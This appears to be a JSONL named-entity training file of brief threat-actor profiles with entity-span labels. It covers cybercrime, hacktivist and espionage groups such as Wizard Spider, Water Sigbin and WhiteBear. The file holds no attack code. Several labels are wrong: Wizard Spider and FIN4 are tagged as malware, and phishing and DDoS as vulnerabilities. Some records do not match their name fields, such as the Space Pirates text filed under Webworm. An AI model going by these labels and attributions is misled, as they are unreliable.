+{"text": "Water Kurita is a financially motivated cybercriminal entity associated with the Lumma Stealer infostealer-as-a-service operation, primarily active on underground forums and marketplaces. It focuses on credential and information theft at scale, monetizing access via subscription-based malware distribution and resale of stolen data to other actors. The group demonstrates solid operational security and marketing tactics typical of mature MaaS ecosystems, although a 2025 doxxing campaign exposing alleged core members (personal and financial data) significantly disrupted its activity and drove customers toward competing infostealers.", "spans": {"THREAT_ACTOR: Water Kurita": [[0, 12]], "MALWARE: Lumma Stealer": [[81, 94]]}, "info": {"source": "apt_reports", "name": "Water Kurita"}}
+{"text": "Trend Micro discovered a threat actor they named Water Labbu that was targeting cryptocurrency scam websites. Typically, cryptocurrency scammers use social engineering techniques,  interacting with victims to gain their trust and then manipulating them into providing the permissions needed to transfer cryptocurrency assets. While Water Labbu managed to steal cryptocurrencies via a similar method by obtaining access permissions and token allowances from their victim’s wallets, unlike other similar campaigns, they did not use any kind of social engineering — at least not directly. Instead, Water Labbu lets other scammers use their social engineering tricks to scam unsuspecting victims.", "spans": {"THREAT_ACTOR: Water Labbu": [[49, 60], [332, 343], [595, 606]], "SYSTEM: Trend Micro": [[0, 11]]}, "info": {"source": "apt_reports", "name": "Water Labbu"}}
+{"text": "Water Makara employs the Astaroth banking malware, which features a new defense evasion technique. Their spear phishing campaigns exploit human error by targeting users to click on malicious files. To mitigate these threats, organizations should implement regular security training, enforce strong password policies, utilize multifactor authentication (MFA), keep security solutions updated, and apply the principle of least privilege.", "spans": {"THREAT_ACTOR: Water Makara": [[0, 12]], "VULNERABILITY: phishing": [[111, 119]], "VULNERABILITY: spear phishing": [[105, 119]], "MALWARE: Astaroth": [[25, 33]]}, "info": {"source": "apt_reports", "name": "Water Makara"}}
+{"text": "Water Orthrus is a threat actor known for distributing CopperStealer and CopperPhish malware. They target Microsoft 365 users with phishing campaigns to steal credit card information. The actor has evolved their malware to include rootkits for stealthy installations and has shifted their focus from personal information to cryptocurrency and credit card data. Water Orthrus has been linked to the Scranos campaign reported in 2019.", "spans": {"THREAT_ACTOR: Water Orthrus": [[0, 13], [361, 374]], "SYSTEM: Microsoft 365": [[106, 119]], "ORGANIZATION: Microsoft": [[106, 115]], "VULNERABILITY: phishing": [[131, 139]], "MALWARE: CopperStealer": [[55, 68]]}, "info": {"source": "apt_reports", "name": "Water Orthrus"}}
+{"text": "Water Saci is a sophisticated cyber threat actor operating in Brazil, utilizing a multi-format attack chain that includes HTA files, ZIP archives, and PDFs to bypass security measures. The campaign employs an email-based C&C infrastructure using IMAP connections to terra.com.br accounts, enhancing its resilience and evasion tactics. It leverages social engineering through WhatsApp to propagate malware, specifically the SORVEPOTEL banking trojan, and incorporates advanced techniques for infection and persistence. The modular architecture of the malware allows for dynamic adaptation and extraction of sensitive credentials, indicating a significant evolution in adversarial capabilities.", "spans": {"DOMAIN: terra.com.br": [[266, 278]], "THREAT_ACTOR: Water Saci": [[0, 10]], "SYSTEM: WhatsApp": [[375, 383]]}, "info": {"source": "apt_reports", "name": "Water Saci"}}
+{"text": "The 8220 Gang, also known as Water Sigbin, is a threat actor group that focuses on deploying cryptocurrency-mining malware. They exploit vulnerabilities in Oracle WebLogic servers, such as CVE-2017-3506 and CVE-2023-21839, to deliver cryptocurrency miners using PowerShell scripts. The group has demonstrated a sophisticated multistage loading technique to deploy the PureCrypter loader and XMRIG crypto miner. They are known for using obfuscation techniques, such as hexadecimal encoding and code obfuscation, to evade detection and compromise systems.", "spans": {"CVE_ID: CVE-2017-3506": [[189, 202]], "CVE_ID: CVE-2023-21839": [[207, 221]], "THREAT_ACTOR: Water Sigbin": [[29, 41]], "TOOL: PowerShell": [[262, 272]], "SYSTEM: WebLogic": [[163, 171]], "MALWARE: PureCrypter": [[368, 379]]}, "info": {"source": "apt_reports", "name": "Water Sigbin"}}
+{"text": "Space Pirates is a cybercrime group that has been active since at least 2017. They primarily target Russian companies and have been observed using various malware, including Deed RAT and ShadowPad. The group uses a combination of publicly available tools and their own protocols to communicate with their command-and-control servers.", "spans": {"MALWARE: ShadowPad": [[187, 196]]}, "info": {"source": "apt_reports", "name": "Webworm"}}
+{"text": "WeedSec is a threat actor group that recently targeted the online learning and course management platform Moodle. They posted sample databases of Moodle on their Telegram channel, which is widely used by educational institutions and workplaces.", "spans": {"THREAT_ACTOR: WeedSec": [[0, 7]], "SYSTEM: Telegram": [[162, 170]]}, "info": {"source": "apt_reports", "name": "WeedSec"}}
+{"text": "WeRedEvils is a hacking group that has claimed responsibility for multiple cyber attacks. They targeted the Iranian Electric Grid and the Tasnimnews website, causing the latter to go offline. The group also claimed to have hacked into Iran's oil infrastructure, causing significant damage. They emerged in response to the Hamas massacre and are believed to be a group of Israeli cyber experts.", "spans": {"THREAT_ACTOR: WeRedEvils": [[0, 10]]}, "info": {"source": "apt_reports", "name": "WeRedEvils"}}
+{"text": "WhiteCobra is a threat actor that has infiltrated the Visual Studio Code marketplace and Open VSX registry, deploying 24 malicious extensions targeting cryptocurrency development tools, particularly Solidity. The group employs social engineering tactics, manipulates download counts and reviews, and uses fake branding to establish credibility for their extensions, which deliver LummaStealer on Windows and unknown malware on macOS. WhiteCobra has been linked to a $500,000 cryptocurrency theft in July 2025 and maintains detailed playbooks with revenue targets, showcasing their organized and persistent operations. Despite ongoing efforts by security researchers to remove their malicious extensions, WhiteCobra continues to upload new threats weekly, highlighting the sophistication of their TTPs.", "spans": {"THREAT_ACTOR: WhiteCobra": [[0, 10], [434, 444], [704, 714]], "SYSTEM: macOS": [[427, 432]], "SYSTEM: Windows": [[396, 403]]}, "info": {"source": "apt_reports", "name": "WhiteCobra"}}
+{"text": "In July 2018, an attack on Singapore’s largest public health organization, SingHealth, resulted in a reported 1.5 million patient records being stolen. Until now, nothing was known about who was responsible for this attack. Symantec researchers have discovered that this attack group, which we call Whitefly, has been operating since at least 2017, has targeted organizations based mostly in Singapore across a wide variety of sectors, and is primarily interested in stealing large amounts of sensitive information.", "spans": {"THREAT_ACTOR: Whitefly": [[299, 307]], "SYSTEM: Symantec": [[224, 232]]}, "info": {"source": "apt_reports", "name": "Whitefly"}}
+{"text": "As a part of our Kaspersky APT Intelligence Reporting subscription, customers received an update in mid-February 2017 on some interesting APT activity that we called WhiteBear. Much of the contents of that report are reproduced here. WhiteBear is a parallel project or second stage of the Skipper Turla cluster of activity documented in another private intelligence report “Skipper Turla – the White Atlas framework” from mid-2016. Like previous Turla activity, WhiteBear leverages compromised websites and hijacked satellite connections for command and control (C2) infrastructure. As a matter of fact, WhiteBear infrastructure has overlap with other Turla campaigns, like those deploying Kopiluwak, as documented in “KopiLuwak – A New JavaScript Payload from Turla” in December 2016. WhiteBear infected systems maintained a dropper (which was typically signed) as well as a complex malicious platform which was always preceded by WhiteAtlas module deployment attempts. However, despite the similarities to previous Turla campaigns, we believe that WhiteBear is a distinct project with a separate focus. We note that this observation of delineated target focus, tooling, and project context is an interesting one that also can be repeated across broadly labeled Turla and Sofacy activity.\nFrom February to September 2016, WhiteBear activity was narrowly focused on embassies and consular operations around the world. All of these early WhiteBear targets were related to embassies and diplomatic/foreign affair organizations. Continued WhiteBear activity later shifted to include defense-related organizations into June 2017. When compared to WhiteAtlas infections, WhiteBear deployments are relatively rare and represent a departure from the broader Skipper Turla target set. Additionally, a comparison of the WhiteAtlas framework to WhiteBear components indicates that the malware is the product of separate development efforts. WhiteBear infections appear to be preceded by a condensed spearphishing dropper, lack Firefox extension installer payloads, and contain several new components signed with a new code signing digital certificate, unlike WhiteAtlas incidents and modules.", "spans": {"THREAT_ACTOR: Turla": [[297, 302], [382, 387], [446, 451], [652, 657], [761, 766], [1017, 1022], [1263, 1268], [1759, 1764]], "SYSTEM: Kaspersky": [[17, 26]], "SYSTEM: Firefox": [[2017, 2024]], "VULNERABILITY: spearphishing": [[1989, 2002]]}, "info": {"source": "apt_reports", "name": "White Bear"}}
+{"text": "Wildcard is a threat actor that initially targeted Israel's educational sector with the SysJoker malware. They have since expanded their operations and developed additional malware variants, disguised as legitimate software, including one written in the Rust programming language called RustDown. Their precise identity remains unknown, but they have shown advanced capabilities and a focus on critical sectors within Israel.", "spans": {"THREAT_ACTOR: Wildcard": [[0, 8]], "SYSTEM: Rust": [[254, 258]], "MALWARE: SysJoker": [[88, 96]]}, "info": {"source": "apt_reports", "name": "WildCard"}}
+{"text": "A corporate espionage group has compromised a string of major corporations over the past three years in order to steal confidential information and intellectual property. The gang, which Symantec calls Butterfly, is not-state sponsored, rather financially motivated. It has attacked multi-billion dollar companies operating in the internet, IT software, pharmaceutical, and commodities sectors. Twitter, Facebook, Apple, and Microsoft are among the companies who have publicly acknowledged attacks.\n Butterfly is technically proficient and well resourced. The group has developed a suite of custom malware tools capable of attacking both Windows and Apple computers, and appears to have used at least one zero-day vulnerability in its attacks. It keeps a low profile and maintains good operational security. After successfully compromising a target organization, it cleans up after itself before moving on to its next target.\n This group operates at a much higher level than the average cybercrime gang. It is not interested in stealing credit card details or customer databases and is instead focused on high-level corporate information. Butterfly may be selling this information to the highest bidder or may be operating as hackers for hire. Stolen information could also be used for insider-trading purposes.", "spans": {"SYSTEM: Symantec": [[187, 195]], "SYSTEM: Windows": [[638, 645]], "ORGANIZATION: Apple": [[414, 419], [650, 655]], "ORGANIZATION: Microsoft": [[425, 434]], "ORGANIZATION: Facebook": [[404, 412]], "VULNERABILITY: zero-day": [[705, 713]]}, "info": {"source": "apt_reports", "name": "WildNeutron"}}
+{"text": "WildPressure is a threat actor that targets industrial-related entities in the Middle East. They use a variety of programming languages, including C++, VBScript, and Python, to develop their malware. They have been observed using virtual private servers and compromised servers, particularly WordPress websites, in their infrastructure. While there are some minor similarities with other threat actors in the region, there is not enough evidence to make any attribution.", "spans": {"THREAT_ACTOR: WildPressure": [[0, 12]], "SYSTEM: Python": [[166, 172]], "SYSTEM: WordPress": [[292, 301]]}, "info": {"source": "apt_reports", "name": "WildPressure"}}
+{"text": "In August of 2018, DarkMatter released a report entitled “In the Trails of WINDSHIFT APT”, which unveiled a threat actor with TTPs very similar to those of Bahamut. Subsequently, two additional articles were released by Objective-See which provide an analysis of some validated WINDSHIFT samples targeting OSX systems. Pivoting on specific file attributes and infrastructure indicators, Unit 42 was able to identify and correlate additional attacker activity and can now provide specific details on a targeted WINDSHIFT attack as it unfolded at a Middle Eastern government agency.", "spans": {"THREAT_ACTOR: WINDSHIFT": [[75, 84], [278, 287], [510, 519]], "THREAT_ACTOR: Bahamut": [[156, 163]], "ORGANIZATION: Unit 42": [[387, 394]]}, "info": {"source": "apt_reports", "name": "WindShift"}}
+{"text": "Winter Vivern is a cyberespionage group first revealed by DomainTools in 2021. It is thought to have been active since at least 2020 and it targets governments in Europe and Central Asia. To compromise its targets, the group uses malicious documents, phishing websites, and a custom PowerShell backdoor.", "spans": {"THREAT_ACTOR: Winter Vivern": [[0, 13]], "TOOL: PowerShell": [[283, 293]], "VULNERABILITY: phishing": [[251, 259]]}, "info": {"source": "apt_reports", "name": "Winter Vivern"}}
+{"text": "WIP19 is a Chinese-speaking threat group involved in espionage targeting the Middle East and Asia. They utilize a stolen certificate to sign their malware, including SQLMaggie, ScreenCap, and a credential dumper. The group has been observed targeting telecommunications and IT service providers, using toolsets authored by WinEggDrop. WIP19's activities suggest they are after specific information and are part of the broader Chinese espionage landscape.", "spans": {"THREAT_ACTOR: WIP19": [[0, 5], [335, 340]], "MALWARE: ScreenCap": [[177, 186]]}, "info": {"source": "apt_reports", "name": "WIP19"}}
+{"text": "WIRTE is a threat actor group that was first discovered in 2018. They are suspected to be part of the Gaza Cybergang, an Arabic politically motivated cyber criminal group. WIRTE has been observed changing their toolkit and operating methods to remain undetected for longer periods of time. They primarily target governmental and political entities, but have also been known to target law firms and financial institutions.", "spans": {"THREAT_ACTOR: WIRTE": [[0, 5], [172, 177]]}, "info": {"source": "apt_reports", "name": "WIRTE"}}
+{"text": "Witchetty was first documented by ESET in April 2022, who concluded that it was one of three sub-groups of TA410, a broad cyber-espionage operation with some links to the Cicada group (aka APT10). Witchetty’s activity was characterized by the use of two pieces of malware, a first-stage backdoor known as X4 and a second-stage payload known as LookBack. ESET reported that the group had targeted governments, diplomatic missions, charities, and industrial/manufacturing organizations.", "spans": {"THREAT_ACTOR: Witchetty": [[0, 9], [197, 206]], "THREAT_ACTOR: TA410": [[107, 112]], "THREAT_ACTOR: APT10": [[189, 194]], "SYSTEM: ESET": [[34, 38], [354, 358]], "MALWARE: LookBack": [[344, 352]]}, "info": {"source": "apt_reports", "name": "Witchetty"}}
+{"text": "Wizard Spider is reportedly associated with Grim Spider and Lunar Spider.\nThe WIZARD SPIDER threat group is the Russia-based operator of the TrickBot banking malware. This group represents a growing criminal enterprise of which GRIM SPIDER appears to be a subset. The LUNAR SPIDER threat group is the Eastern European-based operator and developer of the commodity banking malware called BokBot (aka IcedID), which was first observed in April 2017. The BokBot malware provides LUNAR SPIDER affiliates with a variety of capabilities to enable credential theft and wire fraud, through the use of webinjects and a malware distribution function.\nGRIM SPIDER is a sophisticated eCrime group that has been operating the Ryuk ransomware since August 2018, targeting large organizations for a high-ransom return. This methodology, known as “big game hunting,” signals a shift in operations for WIZARD SPIDER, a criminal enterprise of which GRIM SPIDER appears to be a cell. The WIZARD SPIDER threat group, known as the Russia-based operator of the TrickBot banking malware, had focused primarily on wire fraud in the past.", "spans": {"THREAT_ACTOR: WIZARD SPIDER": [[78, 91], [885, 898], [969, 982]], "THREAT_ACTOR: GRIM SPIDER": [[228, 239], [641, 652], [931, 942]], "THREAT_ACTOR: LUNAR SPIDER": [[268, 280], [476, 488]], "THREAT_ACTOR: Lunar Spider": [[60, 72]], "VULNERABILITY: credential theft": [[541, 557]], "MALWARE: Ryuk": [[713, 717]], "MALWARE: Wizard Spider": [[0, 13]], "MALWARE: TrickBot": [[141, 149], [1039, 1047]], "MALWARE: IcedID": [[399, 405]], "MALWARE: BokBot": [[387, 393], [452, 458]]}, "info": {"source": "apt_reports", "name": "WIZARD SPIDER"}}
+{"text": "FIN4 is a financially-motivated threat group that has targeted confidential information related to the public financial market, particularly regarding healthcare and pharmaceutical companies, since at least 2013. FIN4 is unique in that they do not infect victims with typical persistent malware, but rather they focus on capturing credentials authorized to access email and other non-public correspondence.", "spans": {"MALWARE: FIN4": [[0, 4], [213, 217]]}, "info": {"source": "apt_reports", "name": "WOLF SPIDER"}}
+{"text": "Worok is a cyber espionage group, mostly targeting Central Asia. The group toolset includes a C++ loader named CLRLoad, a PowerShell backdoor named PowHeartBeat, and a C# loader named PNGLoad.", "spans": {"THREAT_ACTOR: Worok": [[0, 5]], "TOOL: PowerShell": [[122, 132]], "MALWARE: PNGLoad": [[184, 191]]}, "info": {"source": "apt_reports", "name": "Worok"}}
+{"text": "XakNet is a self-proclaimed hacktivist group that has targeted Ukraine. They claim to be comprised of Russian patriotic volunteers and have conducted various threat activities, including DDoS attacks, compromises, data leaks, and website defacements. They coordinate their operations with other hacktivist groups and have connections to APT28, a cyber espionage group sponsored by the GRU.", "spans": {"THREAT_ACTOR: XakNet": [[0, 6]], "THREAT_ACTOR: APT28": [[337, 342]], "VULNERABILITY: DDoS": [[187, 191]]}, "info": {"source": "apt_reports", "name": "XakNet"}}
+{"text": "Cloud security company Lacework says it discovered a threat actor group named Xcatze that uses a Python named AndroxGh0st to take over AWS servers and send out massive email spam campaigns. Lacework says the malware operates by scanning web apps written in the Laravel PHP framework for exposed configuration files to identify and steal server credentials. Researchers said AndroxGh0st specifically searches for AWS, SendGrid, and Twilio credentials, which it uses to take control of email servers and accounts and send out the spam campaigns.", "spans": {"THREAT_ACTOR: Xcatze": [[78, 84]], "SYSTEM: Python": [[97, 103]], "SYSTEM: AWS": [[135, 138], [412, 415]], "SYSTEM: PHP": [[269, 272]], "ORGANIZATION: Lacework": [[23, 31], [190, 198]], "MALWARE: AndroxGh0st": [[110, 121], [374, 385]]}, "info": {"source": "apt_reports", "name": "Xcatze"}}
+{"text": "Rare is the APT group that goes largely undetected for nine years, but XDSpy is just that; a previously undocumented espionage group that has been active since 2011. It has attracted very little public attention, with the exception of an advisory from the Belarusian CERT in February 2020. In the interim, the group has compromised many government agencies and private companies in Eastern Europe and the Balkans.", "spans": {"THREAT_ACTOR: XDSpy": [[71, 76]]}, "info": {"source": "apt_reports", "name": "XDSpy"}}
+{"text": "Xiaoqiying is a primarily Chinese-speaking threat group that is most well known for conducting website defacement and data exfiltration attacks on more than a dozen South Korean research and academic institutions in late-January 2023. Research from Recorded Futures Insikt Group has found that the groups affiliated threat actors have signaled a new round of cyberattacks against organizations in Japan and Taiwan. Although it shows no clear ties to the Chinese government, Xiaoqiying is staunchly pro-China and vows to target NATO countries as well as any country or region that is deemed hostile to China.", "spans": {"THREAT_ACTOR: Xiaoqiying": [[0, 10], [474, 484]]}, "info": {"source": "apt_reports", "name": "Xiaoqiying"}}
+{"text": "XinXin is a Chinese-speaking threat actor known for its phishing-as-a-service platform, Lucid, which targets global organizations to steal credit card details and personally identifiable information through smishing campaigns. The group employs advanced techniques such as exploiting Rich Communication Services and Apple's iMessage protocol to bypass traditional SMS filters. XinXin also develops and utilizes other phishing kits like Lighthouse and Darcula, facilitating large-scale phishing operations with automated tools and evasion techniques. The group operates a structured hierarchy and monetizes stolen data while actively supporting the development of similar PhaaS services.", "spans": {"THREAT_ACTOR: XinXin": [[0, 6], [377, 383]], "ORGANIZATION: Apple": [[316, 321]], "VULNERABILITY: phishing": [[56, 64], [417, 425], [485, 493]]}, "info": {"source": "apt_reports", "name": "XinXin"}}
+{"text": "RiskIQ characterizes the Yanbian Gang as a group that targeted South Korean Android mobile banking customers since 2013 with malicious Android apps purporting to be from major banks, namely Shinhan Savings Bank, Saemaul Geumgo, Shinhan Finance, KB Kookmin Bank, and NH Savings Bank.", "spans": {"THREAT_ACTOR: Yanbian Gang": [[25, 37]], "SYSTEM: Android": [[76, 83], [135, 142]]}, "info": {"source": "apt_reports", "name": "Yanbian Gang"}}
+{"text": "YoroTrooper’s main targets are government or energy organizations in Azerbaijan, Tajikistan, Kyrgyzstan and other Commonwealth of Independent States, based on Cisco Talos analysis. YoroTrooper was also observed compromising accounts from at least two international organizations: a critical European Union health care agency and the World Intellectual Property Organization. Successful compromises also included Embassies of European countries including Azerbaijan and Turkmenistan.", "spans": {"THREAT_ACTOR: YoroTrooper": [[0, 11], [181, 192]], "SYSTEM: Cisco": [[159, 164]], "ORGANIZATION: Cisco Talos": [[159, 170]], "ORGANIZATION: Talos": [[165, 170]]}, "info": {"source": "apt_reports", "name": "YoroTrooper"}}
+{"text": "Z-Pentest Alliance is a pro-Russian hacktivist group known for targeting industrial control systems and operational technology systems, particularly in Italy and Israel. The group has claimed responsibility for various attacks, including gaining control of a water supply management system and disrupting aviation authorities' websites. Z-Pentest Alliance operates within a larger alliance of hacktivist groups, often collaborating on politically motivated operations, including DDoS campaigns. The group has been linked to the GRU and is associated with the NoName057 group, sharing tools and intelligence.", "spans": {"THREAT_ACTOR: Z-Pentest Alliance": [[0, 18], [337, 355]], "VULNERABILITY: DDoS": [[479, 483]]}, "info": {"source": "apt_reports", "name": "Z-Pentest Alliance"}}
+{"text": "Zarya is a pro-Russian hacktivist group that emerged in March 2022. Initially operating as a special forces unit under the command of Killnet, Zarya has since become an independent entity. The group is primarily known for engaging in Denial-of-Service attacks, website defacement campaigns, and data leaks. Zarya targets government agencies, service providers, critical infrastructure, and civil service employees, both domestically and internationally.", "spans": {"THREAT_ACTOR: Zarya": [[0, 5], [143, 148], [307, 312]], "THREAT_ACTOR: Killnet": [[134, 141]]}, "info": {"source": "apt_reports", "name": "Zarya"}}
+{"text": "ZeroSevenGroup is a threat actor that claims to have breached a U.S. branch of Toyota, stealing 240GB of sensitive data, including employee and customer information, contracts, and financial details. They have also allegedly gained full network access to critical Israeli infrastructure, with access to 80TB of sensitive data across various sectors. The group has threatened to use the stolen data for malicious activities, including ransomware attacks. Their operations involve exploiting vulnerabilities, as indicated by their reference to manipulating memory through buffer overflow techniques.", "spans": {"THREAT_ACTOR: ZeroSevenGroup": [[0, 14]], "VULNERABILITY: buffer overflow": [[570, 585]]}, "info": {"source": "apt_reports", "name": "ZeroSevenGroup"}}
+{"text": "On April 7, 2017, Pytor Levashov — who predominantly used the alias Severa or Peter Severa and whom Falcon Intelligence tracks as ZOMBIE SPIDER — was arrested in an international law enforcement operation led by the FBI. ZOMBIE SPIDER’s specialty was large-scale spam distribution, a fundamental component of cybercrime operations. Levashov was the primary threat actor behind a botnet known as Kelihos and its predecessors, Waledac and Storm. In addition to Levashov’s arrest, there was a technical operation conducted by Falcon Intelligence to seize control of the Kelihos botnet.", "spans": {"THREAT_ACTOR: ZOMBIE SPIDER": [[130, 143], [221, 234]], "ORGANIZATION: FBI": [[216, 219]]}, "info": {"source": "apt_reports", "name": "ZOMBIE SPIDER"}}
+{"text": "ZooPark is a cyberespionage operation that has been focusing on Middle Eastern targets since at least June 2015. The threat actors behind ZooPark infect Android devices using several generations of malware we label from v1-v4, with v4 being the most recent version deployed in 2017.", "spans": {"THREAT_ACTOR: ZooPark": [[0, 7], [138, 145]], "SYSTEM: Android": [[153, 160]]}, "info": {"source": "apt_reports", "name": "ZooPark"}}
+{"text": "Over the last few weeks, several significant leaks regarding a number of Iranian APTs took place. After analyzing and investigating the documents we conclude that they are authentic. Consequently, this causes considerable harm to the groups and their operation. The identity of the actor behind the leak is currently unknown, however based on the scope and the quality of the exposed documents and information, it appears that they are professional and highly capable. This leak will likely hamstring the groups' operation in the near future. Accordingly, in our assessment this will minimize the risk of potential attacks in the next few months and possibly even year. Note -most of the leaks are posted on Telegram channels that were created specifically for this purpose.\n Below are the three main Telegram groups on which the leaks were posted: \nLab Dookhtegam pseudonym (\"The people whose lips are stitched and sealed\" –translation from Persian) –In this channel attack tools attributed to the group 'OilRig' were leaked; including a webshell that was inserted into the Technion, various tools that were used for DNS attacks, and more. \nGreen Leakers–In this channel attack tools attributed to the group 'MuddyWatter' were leaked. The group's name and its symbol are identified with the \"green movement\", which led the protests in Iran after the Presidential elections in 2009. These protests were heavily repressed by the revolutionary guards (IRGC) \nBlack Box–Unlike the previous two channels this has been around for a long time. On Friday May 5th, dozens of confidential documents labeled as \"secret\" (a high confidentiality level in Iran, one before the highest -top secret) were posted on this channel. The documents were related to Iranian attack groups' activity.", "spans": {"THREAT_ACTOR: OilRig": [[1006, 1012]], "SYSTEM: Telegram": [[708, 716], [801, 809]]}, "info": {"source": "apt_reports", "name": "[Unnamed group]"}}
+{"text": "An unnamed source leaked almost 10,000 documents describing a large number of 0-day vulnerabilities, methodologies and tools that had been collected by the CIA. This leaking was done through WikiLeaks, since March 2017. In weekly publications, the dumps were said to come from Vault 7 and later Vault 8, until his arrest in 2018.\nMost of the published vulnerabilities have since been fixed by the respective vendors, by many have been used by other threat actors. This actor turned out to be a former CIA software engineer.\n(WikiLeaks) Today, Tuesday 7 March 2017, WikiLeaks begins its new series of leaks on the U.S. Central Intelligence Agency. Code-named \"Vault 7\" by WikiLeaks, it is the largest ever publication of confidential documents on the agency.\nThe first full part of the series, \"Year Zero\", comprises 8,761 documents and files from an isolated, high-security network situated inside the CIA's Center for Cyber Intelligence in Langley, Virgina. It follows an introductory disclosure last month of CIA targeting French political parties and candidates in the lead up to the 2012 presidential election.\nRecently, the CIA lost control of the majority of its hacking arsenal including malware, viruses, trojans, weaponized \"zero day\" exploits, malware remote control systems and associated documentation. This extraordinary collection, which amounts to more than several hundred million lines of code, gives its possessor the entire hacking capacity of the CIA. The archive appears to have been circulated among former U.S. government hackers and contractors in an unauthorized manner, one of whom has provided WikiLeaks with portions of the archive.\n\"Year Zero\" introduces the scope and direction of the CIA's global covert hacking program, its malware arsenal and dozens of \"zero day\" weaponized exploits against a wide range of U.S. and European company products, include Apple's iPhone, Google's Android and Microsoft's Windows and even Samsung TVs, which are turned into covert microphones.", "spans": {"SYSTEM: Windows": [[1934, 1941]], "SYSTEM: Android": [[1910, 1917]], "ORGANIZATION: CIA": [[156, 159], [501, 504], [902, 905], [1011, 1014], [1129, 1132], [1467, 1470], [1715, 1718]], "ORGANIZATION: Apple": [[1885, 1890]], "ORGANIZATION: Microsoft": [[1922, 1931]], "ORGANIZATION: Google": [[1901, 1907]], "VULNERABILITY: 0-day": [[78, 83]], "VULNERABILITY: zero day": [[1234, 1242], [1787, 1795]]}, "info": {"source": "apt_reports", "name": "[Vault 7/8]"}}
+{"text": "This threat actor targets organizations in the satellite communications, telecommunications, geospatial-imaging, and defense sectors in the United States and Southeast Asia for espionage purposes.", "spans": {}, "info": {"source": "apt_reports", "name": " Stealth Mango and Tangelo "}}